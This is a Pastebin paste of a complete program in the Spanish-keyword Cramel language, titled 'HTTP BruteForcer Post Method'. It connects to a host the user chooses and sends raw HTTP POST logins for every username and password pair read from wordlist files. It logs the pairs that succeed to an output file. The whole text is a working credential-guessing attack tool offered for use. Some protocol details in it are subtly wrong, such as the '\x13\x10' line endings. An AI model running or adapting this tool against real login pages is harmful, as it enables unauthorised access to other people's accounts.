Guest User

Untitled

a guest
May 17th, 2017
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.50 KB | None | 0 0
  1. ' HTTP BruteForcer Post Method
  2. ' Coder: Rollth
  3. ' Underc0de.org
  4. ' hackingd0.blogspot.com.es
  5. ' whateversec.blogspot.com.es
  6.  
  7. ' Llamada de librerias
  8.  
  9. Importar "Cramel.cml"
  10. Importar "Archivo.cml"
  11. Importar "Consola.cml"
  12. Importar "Sockets\Sockets.cml"
  13.  
  14. ' Procedimiento que calcula el tiempo
  15.  
  16. Proc calcularTiempo(tiempo:Entero):Cadena
  17.  
  18. ' Variables para contar el tiempo
  19.  
  20. Var dias, horas, minutos, segundos:Entero
  21.  
  22. tiempo = tiempo/1000
  23.  
  24. dias = tiempo/86400
  25. horas = (tiempo - (dias*86400))/3600
  26. minutos = (tiempo - (dias*86400) - (horas*3600))/60
  27. segundos = (tiempo - (dias*86400) - (horas*3600) - (minutos*60))
  28.  
  29. Resultado = EntCad(dias) + " dias - " + EntCad(horas) + " horas - " + EntCad(minutos) + " minutos - " + EntCad(segundos) + " segundos\x13\x10"
  30.  
  31. FinProc
  32.  
  33. ' Declaracion de socket
  34.  
  35. Var hSocket:Entero
  36.  
  37. TCPIniciar()
  38.  
  39. ' Declaracion de variables
  40.  
  41. Var archivo1:FILE
  42. Var archivo2:FILE
  43. Var archivo3:FILE
  44. Var puerto, acierto, intentos, ContentLength, valorBusqueda, cantidad, z:Entero
  45. Var host, mensajeAcierto, form, user, pass, user1, pass1, men, men2, ContentLength2, puerto2, aciertoC, otros[], otros1[], cantidad2:Cadena
  46. Var Consola:ConsolaEstructura
  47.  
  48. acierto = 0
  49. intentos = 0
  50. z = 0
  51.  
  52. comprobarAdmin()
  53.  
  54. Consola = initConsole()
  55. Consola.establecerTitulo("HTTP BruteForce By Rollth")
  56. Consola.establecerColor(2)
  57.  
  58. ' Simple decoracion
  59.  
  60. Consola.escribirLinea("###############################")
  61. Consola.escribirLinea("#HTTP BruteForcer Post Method #")
  62. Consola.escribirLinea("#Coder: Rollth #")
  63. Consola.escribirLinea("#Underc0de.org #")
  64. Consola.escribirLinea("#hackingd0.blogspot.com.es #")
  65. Consola.escribirLinea("#whateversec.blogspot.com.es #")
  66. Consola.escribirLinea("###############################" + LF)
  67.  
  68. ' Introduccion de variables
  69.  
  70. Consola.escribir("Host o IP: ")
  71. Consola.leer(host)
  72. Consola.escribir("Puerto a atacar(80 si es HTTP o 443 si es HTTPS): ")
  73. Consola.leer(puerto2)
  74. puerto = CadEnt(puerto2)
  75. Consola.escribir("Nombre de la variable de user: ")
  76. Consola.leer(user)
  77. Consola.escribir("Nombre de la variable de password: ")
  78. Consola.leer(pass)
  79. Consola.escribir("Direccion del form: ")
  80. Consola.leer(form)
  81. Consola.escribir("Mensaje de acierto al logearse: ")
  82. Consola.leer(mensajeAcierto)
  83.  
  84. ' Otros parametros
  85.  
  86. Consola.escribir("Numero de parametros adicionales: ")
  87. Consola.leer(cantidad2)
  88. cantidad = CadEnt(cantidad2)
  89.  
  90. Redim otros, cantidad
  91. Redim otros1, cantidad
  92.  
  93. Si cantidad > 0 Entonces
  94. Contar z a cantidad - 1 Paso 1
  95.  
  96. Consola.escribir("Nombre de parametro adicional " + EntCad(z + 1) + ": ")
  97. Consola.leer(otros[z])
  98. Consola.escribir("Valor de parametro adicional " + EntCad(z + 1) + ": ")
  99. Consola.leer(otros1[z])
  100.  
  101. Seguir
  102. FinSi
  103.  
  104. TiempoInicio
  105.  
  106. ' Dos bucles para comprobar cada usuario con cada password
  107.  
  108. archivo1 = abrirArchivoF("passwords.txt", "r")
  109. archivo3 = abrirArchivoC("salida.txt", FILE_APPEND_DATA, OPEN_ALWAYS)
  110.  
  111. escribirArchivoW(archivo3, "Resultados de: " + host + "\x13\x10")
  112.  
  113. Repetir
  114.  
  115. leerArchivoF(archivo1, pass1)
  116. archivo2 = abrirArchivoF("usuarios.txt", "r")
  117.  
  118. Repetir
  119.  
  120. hSocket = TCPConectar(host, puerto)
  121.  
  122. leerArchivoF(archivo2, user1)
  123.  
  124. ' Limpia variables
  125.  
  126. men = "\x00"
  127. men2 = "\x00"
  128. ContentLength2 = "\x00"
  129.  
  130. ' Calcula el ContentLength y prepara el mensaje
  131.  
  132. ContentLength = CadLong(user) + CadLong (pass) + CadLong(user1) + CadLong (pass1) + 3
  133. ContentLength2 = EntCad(ContentLength)
  134.  
  135. men = "POST " + form + " HTTP /1.1\x13\x10" + "Host: " + host + "\x13\x10Content-type: application/x-www-form-urlencoded\x13\x10" + "Content-Length: " + ContentLength2 + "\x13\x10\x13\x10" + user + "=" + user1 + "&" + pass + "=" + pass1
  136.  
  137. ' Suma los parametros adicionales
  138.  
  139. z = 0
  140.  
  141. Si cantidad > 0 Entonces
  142. Contar z a cantidad - 1 Paso 1
  143. men = men + "&" + otros[z] + "=" + otros1[z]
  144. Seguir
  145. FinSI
  146.  
  147. men = men + "\x13\x10"
  148.  
  149. ' Envia y recibe datos
  150.  
  151. TCPEnviar(hSocket, men)
  152. men2 = TCPRecibir(hSocket, 1000)
  153.  
  154. ' Comprueba si los datos son correctos
  155.  
  156.  
  157. Mensaje(men + "\x13\x10" + men2)
  158. Si Buscar(men2, mensajeAcierto) > 0 Entonces
  159.  
  160. aciertoC = "El usuario es: " + user1 + " -- El password es: " + pass1 + "\x13\x10"
  161.  
  162. Consola.escribir(aciertoC)
  163. escribirArchivoW(archivo3, aciertoC)
  164. acierto = acierto + 1
  165.  
  166. FinSi
  167.  
  168. intentos = intentos + 1
  169.  
  170. Consola.escribir("Numero de intentos: " + EntCad(intentos) + "\x13")
  171. TCPDesconectar(hSocket)
  172.  
  173. MientrasQue feof(archivo2.ptr) = 0
  174.  
  175. cerrarW(archivo2)
  176.  
  177. MientrasQue feof(archivo1.ptr) = 0
  178.  
  179. ' Comprueba numero de passwords encontradas
  180.  
  181. Si acierto = 0 Entonces
  182. Consola.escribir("Password no encontrada")
  183. escribirArchivoW(archivo3, "Password no encontrada")
  184. FinSi
  185. Si acierto > 0 Entonces
  186. Consola.escribir("Numero de passwords encontradas: " + EntCad(acierto) + "\x10Tiempo: " + calcularTiempo(TiempoFin))
  187. escribirArchivoW(archivo3, "Numero de passwords encontradas: " + EntCad(acierto) + "\x13\x10Tiempo: " + calcularTiempo(TiempoFin) + "\x13\x10")
  188. FinSi
  189.  
  190. ' Final del programa
  191.  
  192. cerrarW(archivo1)
  193. cerrarW(archivo3)
  194. TCPDetener
  195. Consola.pausar()
Add Comment
Please, Sign In to add comment